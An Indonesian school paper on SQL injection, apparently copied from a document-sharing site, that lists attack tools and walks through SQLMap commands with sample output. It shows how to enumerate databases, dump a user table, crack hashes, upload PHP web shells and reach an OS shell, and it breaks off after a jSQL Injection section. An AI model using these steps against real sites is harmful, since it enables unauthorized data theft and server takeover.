Anda di halaman 1dari 15

MAKALAH

SQL INJECTION

Disusun Oleh :
NAMA : FEBRIAN DAFFA EKA PUTRA
NO URUT : 11
JURUSAN : TEKNIK KOMPUTER DAN JARINGAN 1

TEKNIK KOMPUTER DAN JARINGAN


SMK NEGERI 3 BUDURAN (PERKAPALAN)
SIDOARJO
TAHUN 2020/2021
TEORI

Tools Apa Yang Di Gunakan Untuk Melakukan Serangan SQL Injection ?


Untuk melakukan serangan ini tentu saja tools nya sangat banyak namun ada beberapa tools yang
sangat populer nah inilah daftar tools populer untuk melakukan serangan sql injection
1. SQL Map
2. jSQL Injection
3. BBQ SQL
4. NoSQLMap
5. Blisqy

SQLMap
Kali ini kita akan membahas tutorial hacing dengan teknik SQL Injection menggunakan
tool SQLMap untuk melakukan hacking atau serangan pada website berbasis data dengan tujuan
untuk menemukan kerentanan keamanan pada website tersebut.
1.1 Apa Itu SQLMap
SQLMap adalah salah satu tool otomatis untuk melakukan SQL Injection
yang paling populer dan hebat. Dengan url http request yang rentan, sqlmap dapat
mengeksploitasi remote database dan melakukan hacking seperti mengekstrak
nama database, tabel, kolom, semua data dalam tabel, dll. Bahkan dapat membaca
dan menulis file pada remote sistem file pada kondisi tertentu. Ditulis dalam
bahasa python dan merupakan salah satu alat hacking yang paling hebat. SQLMap
adalah SQL Injection metasploit.

1. SQLMap
Kali ini kita akan membahas tutorial hacing dengan teknik SQL Injection
menggunakan tool SQLMap untuk melakukan hacking atau serangan pada website berbasis
data dengan tujuan untuk menemukan kerentanan keamanan pada website tersebut.
Apa Itu SQLMap
SQLMap adalah salah satu tool otomatis untuk melakukan SQL Injection yang paling
populer dan hebat. Dengan url http request yang rentan, sqlmap dapat mengeksploitasi remote
database dan melakukan hacking seperti mengekstrak nama database, tabel, kolom, semua data
dalam tabel, dll. Bahkan dapat membaca dan menulis file pada remote sistem file pada kondisi
tertentu. Ditulis dalam bahasa python dan merupakan salah satu alat hacking yang paling hebat.
SQLMap adalah SQL Injection metasploit.
SQLMap disertakan dalam beberapa distro linux pen testing seperti kali linux, backtrack,
backbox dll. Pada distro lain bisa diunduh dari url berikut. http://sqlmap.org. Karena ditulis
dalam bahasa python, maka anda harus menginstal python di sistem anda terlebih dahulu. Di
ubuntu install python dari synaptic. Pada windows install activestate python.

Fitur – Fitur SQLMap


1. Dukungan penuh untuk sistem manajemen basis data MySQL, Oracle, PostgreSQL,
Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase dan SAP
MaxDB.
2. Dukungan penuh untuk enam teknik SQL Injection: boolean-based blind, time-based
blind, error-based, UNION query, stacked queries and out-of-band.
3. Dukungan untuk langsung terhubung ke database tanpa melalui SQL Injection, dengan
menyediakan kredensial DBMS, alamat IP, port dan nama database.
4. Dukungan untuk menghitung pengguna, hash kata sandi, privileges, roles, database, tabel
dan kolom.
5. Pengenalan otomatis format hash password dan dukungan untuk cracking menggunakan
serangan berbasis kamus.
6. Dukungan untuk membuang tabel database seluruhnya, kisaran entri atau kolom spesifik
sesuai pilihan pengguna. Pengguna juga dapat memilih untuk membuang hanya sejumlah
karakter dari entri masing-masing kolom.
7. Dukungan untuk mencari nama database tertentu, tabel spesifik di semua database atau
kolom spesifik di semua tabel database. Ini berguna, misalnya, untuk mengidentifikasi
tabel yang berisi kredensial aplikasi kustom di mana nama kolom yang relevan
mengandung string seperti nama dan password.
8. Dukungan untuk mendownload dan mengunggah file apapun dari database server yang
mendasari sistem file pada perangkat lunak database MySQL, PostgreSQL atau
Microsoft SQL Server.
9. Dukungan untuk mengeksekusi perintah acak dan mengambil output standar mereka pada
database server yang mendasari sistem operasi saat perangkat lunak database adalah
MySQL, PostgreSQL atau Microsoft SQL Server.
10. Dukungan untuk membangun koneksi TCP stateful out-of-band antara mesin penyerang
dan server basis data yang mendasari sistem operasi. Saluran ini bisa menjadi prompt
perintah interaktif, sesi Meterpreter atau sesi antarmuka pengguna grafis (VNC) sesuai
pilihan pengguna.
11. Dukungan untuk proses database 'esensi hak istimewa pengguna melalui perintah
Metasploit's Meterpreter getsystem.

Untuk daftar pilihan dan parameter yang bisa digunakan dengan perintah sqlmap, silahkan
periksa dokumentasi sqlmap di https://github.com/sqlmapproject/sqlmap/wiki/Usage. Pada
tutorial ini kita akan belajar bagaimana menggunakan sqlmap untuk exploit aplikasi web yang
rentan dan melihat apa yang bisa dilakukan dengan SQLMap.
Untuk memahami tutorial SQL Injection ini Anda harus memiliki pengetahuan
menyeluruh tentang bagaimana aplikasi web berbasis database bekerja. Misalnya aplikasi web
yang dibuat dengan PHP + MySQL.

Vulnerable URL
Misalkan ada sebuah aplikasi website memiliki URL sebagai berikut:
http://www.website.com/index.php?id=51
URL ini rentan terhadap serangan SQL Injection karena pengembang situs tersebut tidak benar-
benar mengamankan parameter id. Hal ini bisa saja diuji coba dengan mencoba membuka url
tersebut
http://www.website.com/index.php?id=51'
Kita hanya menambahkan satu kutipan pada parameter id. Jika url ini melempar kesalahan atau
bereaksi dengan cara yang tidak normal maka jelas bahwa database telah mendapat kutipan
tunggal yang tak terduga sehingga aplikasinya tidak mampu mengamankannya dengan benar.
Jadi dalam hal ini parameter input "id" ini rentan terhadap sql injection.

Hacking menggunakan SQLMap


Sekarang waktunya untuk menggunakan sqlmap untuk melakukan hacking atau sql
injection pada url tersebut. Perintah sqlmap dijalankan dari terminal dengan penerjemah python.
python sqlmap.py -u "http://www.site.com/section.php?id=51"
Perintah di atas adalah yang pertama dan paling sederhana untuk dijalankan dengan tool
SQLMap. Perintah tersebut memeriksa parameter masukan untuk mengetahui apakah mereka
rentan terhadap sql injection atau tidak. Dalam hal ini sqlmap mengirimkan berbagai jenis
muatan sql injection ke parameter masukan dan memeriksa hasilnya. Dalam proses ini sqlmap
juga mampu mengidentifikasi sistem remote os, nama database dan versinya. Berikut adalah
tampilan yang mungkin terlihat.
[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'


[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,
(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0
END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
SQLMap telah menemukan sistem operasi, server web dan database beserta informasi versi.
Bahkan ini pun cukup mengesankan. Tapi waktunya untuk eksplorasi dan melihat apa lagi yang
mampu dilakukan oleh alat ini.
Temukan Database
[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'


[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,
(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0
END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: sistemkeuangan
available databases [2]:
[*] information_schema
[*] sistemkeuangan
Outputnya menunjukkan database yang ada pada sistem remote.

Temukan Tabel Di Database Tertentu


Sekarang waktunya untuk mencari tahu tabel apa yang ada di database tertentu. Katakanlah
database yang diminati di sini adalah 'sistemkeuangan'. Perintahnya
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D sistemkeuangan
Dan hasilnya bisa serupa dengan ini
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'sistemkeuangan'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables
Selanjutnya mari kita dapatkan kolom tabelnya

Dapatkan Kolom Sebuah Tabel


Sekarang kita memiliki daftar tabel databasenya, selanjutnya kita akan mencari kolom dari
beberapa tabelnya. Katakanlah tabelnya adalah 'user' dan berisi username dan password.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D sistemkeuangan
-T user
Outputnya akan terlihat seperti dibawah ini
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'user' in database 'sistemkeuangan'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text

.......

[12:17:59] [INFO] retrieved: hash


[12:18:01] [INFO] retrieved: varchar(128)
Database: sistemkeuangan
Table: user
[8 columns]
+-------------------+--------------+
| Column | Type |
+-------------------+--------------+
| email | text |
| hash | varchar(128) |
| id | int(11) |
| name | text |
| password | text |
| permission | tinyint(4) |
| system_allow_only | text |
| system_home | text |
+-------------------+--------------+
Jadi sekarang kolomnya terlihat jelas. Kerja bagus!

Dapatkan Data Dari Tabel


Sekarang adalah bagian yang paling menarik, yaitu mengekstrak/mengambil data dari tabel.
Perintahnya adalah
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” --dump -D sistemkeuangan -T
user
Perintah di atas akan mengeluarkan data dari tabel tertentu, sangat mirip dengan perintah
mysqldump. Outputnya mungkin terlihat seperti ini
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash | name | email | password | permission | system_home |
system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank>
|
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
Kolom hash tampaknya memiliki hash password. Coba cracking hash dan kemudian Anda akan
mendapatkan rincian data login. Sqlmap akan membuat file csv yang berisi data dump untuk
memudahkan analisis.
Sejauh ini kita sudah bisa mengumpulkan banyak informasi dari remote database
menggunakan SQLMap. Penggunaannya hampir seperti memiliki akses langsung ke remote
database melalui klien seperti phpmyadmin. Dalam skenario nyata, hacker akan mencoba
mendapatkan tingkat akses yang lebih tinggi ke sistem. Untuk ini, mereka akan mencoba
memecahkan hash password dan mencoba masuk melalui panel admin. Atau mereka akan
mencoba untuk mendapatkan shell os menggunakan sqlmap.

Bagaimana Selanjutnya ?
Jalankan query sql yang bervariasi
Ini mungkin hal termudah untuk dilakukan pada server yang rentan terhadap sql
injection. Parameter --sql-query dapat digunakan untuk menentukan query sql yang akan
dijalankan. Hal yang menarik adalah membuat pengguna di tabel pengguna atau yang serupa.
Atau mungkin mengubah / memodifikasi isi halaman cms dll.
Parameter lain - shell-shell akan memberikan shell sql seperti antarmuka untuk
menjalankan query secara interaktif.
Masuk ke panel admin dan mainkan
Jika situs web menjalankan beberapa jenis cms kustom atau yang serupa yang memiliki
panel admin, maka akan memungkinan anda untuk masuk ke dalam asalkan Anda dapat
memecahkan kata sandi yang diambil di database dump. Kata kunci yang sederhana dan pendek
dapat dipecahkan hanya dengan brute forcing atau google.com.
Periksa apakah panel admin mengizinkan untuk mengupload beberapa file. Jika file php tertentu
dapat diunggah maka akan jauh lebih menyenangkan. File php dapat berisi aplikasi pemanggilan
shell_exec, system, exec atau passthru dan itu akan memungkinkan untuk mengeksekusi perintah
sistem sekehendak anda. Skrip shell web PHP bisa diunggah untuk melakukan hal yang sama.
Shell di remote OS
Ini adalah hal yang harus dilakukan untuk mengambil alih server. Namun perhatikan
bahwa itu tidak semudah dan sepele seperti trik yang ditunjukkan di atas. Sqlmap dilengkapi
dengan parameter call --os-shell yang bisa digunakan untuk mencoba shell pada sistem remote,
namun memiliki banyak keterbatasan tersendiri. Menurut manual sqlmap
It is possible to run arbitrary commands on the database server's underlying operating system
when the back-end database management system is either MySQL, PostgreSQL or Microsoft
SQL Server, and the session user has the needed privileges to abuse database specific
functionalities and architectural weaknesses.
Memungkinkan untuk menjalankan perintah tertentu pada sistem operasi database server
yang mendasar ketika sistem manajemen basis data back-end baik MySQL, PostgreSQL atau
Microsoft SQL Server, dan session user memiliki privilege yang diperlukan untuk
menyalahgunakan fungsionalitas spesifik database dan kelemahan arsitektur.
Privilege yang paling penting yang dibutuhkan oleh pengguna database saat ini adalah
menulis file melalui fungsi database. Ini tidak ada dalam kebanyakan kasus. Oleh karena itu
teknik ini tidak akan bekerja dalam banyak kasus.

Catatan
1. Terkadang sqlmap tidak dapat terhubung ke url sama sekali. Ini terlihat saat stuck pada
tugas pertama "testing connection to the target url". Dalam kasus tersebut, sangat
membantu untuk menggunakan opsi "-random-agent". Hal ini membuat sqlmap
menggunakan signature user agent yang valid seperti yang dikirim oleh browser seperti
chrome atau firefox.
2. Untuk url yang tidak dalam bentuk param = nilai , sqlmap tidak bisa secara otomatis tahu
dimana harus diinjeksi.
Misalnya url mvc seperti http://www.site.com/class_name/method/43/80.
Dalam kasus tersebut sqlmap perlu diberi tahu titik injeksi yang ditandai oleh *
http://www.site.com/class_name/method/43*/80
Perintah di atas akan memberitahu sqlmap untuk melakukan injection pada titik yang
ditandai oleh *
3. Bila menggunakan form yang mengirimkan data melalui metode post maka sqlmap harus
disediakan data post pada opsi "--data". Untuk informasi lebih lanjut, lihat tutorial ini
tentang Penggunaan SQLMap pada form.
2. jSQL Injection
jSQL Injection adalah aplikasi ringan yang digunakan untuk mencari informasi database
dari server yang jauh. jSQL Injection adalah aplikasi gratis, open source dan cross-platform
untuk Windows, Linux dan Mac OS X dengan Java dari versi 8 hingga 15. jSQL Injection juga
merupakan bagian dari distribusi pengujian penetrasi resmi Kali Linux dan disertakan dalam
berbagai distribusi lain seperti Pentest Box, Parrot Security OS, ArchStrike dan BlackArch
Linux.

Fitur – Fitru jSQL Injection


1. Injeksi otomatis 33 jenis database: Access, Altibase, C-treeACE, CockroachDB,
CUBRID, DB2, Derby, Exasol, Firebird, FrontBase, H2, Hana, HSQLDB, Informix,
Ingres, InterSystems-IRIS, MaxDB, Mckoi, MemSQL, MimerSQL, MonetDB, MySQL,
Neo4j, Netezza, NuoDB, Oracle, PostgreSQL, Presto, SQLite, SQL Server, Sybase,
Teradata dan Vertica
2. Beberapa strategi injeksi: Normal, Error, Stacked, Blind dan Time
3. Berbagai proses injeksi: Default, Zip, Dios
4. Sandbox untuk SQL dan skrip perusakan
5. Daftar untuk memasukkan banyak target
6. Membaca dan menulis file menggunakan injeksi
7. Membuat dan menampilkan shell Web dan shell SQL
8. Hash sandi bruteforce
9. Cari halaman admin Hash, encode dan decode teks
10. Mengautentikasi menggunakan Basic, Digest, NTLM, dan Kerberos
11. Koneksi proxy pada HTTP, SOCKS4 dan SOCKS5

Instalasi jSQL Injection


Instal Java 8 atau yang lebih tinggi, kemudian unduh rilis terbaru dan klik dua kali pada
file jsql-injection-v0.83.jar untuk meluncurkan perangkat lunak. Anda juga dapat mengetik
java -jar jsql-injection-v0.83.jar
di terminal Anda untuk memulai program. Jika Anda menggunakan Kali Linux, dapatkan rilis
terbaru menggunakan perintah
sudo apt-get -f install jsql
atau lakukan pemutakhiran penuh sistem dengan apt update lalu apt full-upgrade

Integrasi Berkelanjutan
Perangkat lunak ini dikembangkan menggunakan libralies open source seperti Spring,
Spock dan Hibernate dan diuji menggunakan platform integrasi berkelanjutan seperti Travis CI
dan Github Actions. Uji non-regresi dijalankan terhadap database docker dan dalam memori dan
GUI diuji pada layar VNC di cloud pada platform CI. Kemudian pemeriksaan kualitas disimpan
pada platform kualitas kode.
+---+ +-----------------------------------------------------------------------+
| | | JUNIT TEST FRAMEWORK |
| | +-----------------|-------------------------------------|---------------+
| D | +-----------------v-------------------+ +--------------v---------------+
| O | | INJECTION MODEL <--+ GUI |
| C | +-----------------|-------------------+ +------------------------------+
| K | +-----------------v-----------------------------------------------------+
| E | | SPRING API |
| R | +---|---------|----------|----------|------|------|-------|--------|----+
| | +---v---------v----------v----------v------v------v-------v--------v----+
| | | MYSQL | POSTGRES | SQL SERVER | CUBRID | H2 | DERBY | HSQLDB | SQLITE |
+---+ +-----------------------------------------------------------------------+

Cara Menggunakan jSQL Injection


Pertama lakukan instalasi terlebih dahulu. Jika sudah jalankan aplikasi jSQL Injection dengan
perintah
root@kali:~# jsql
Maka akan tampil seperti berikut
3. BBQ SQL

Anda mungkin juga menyukai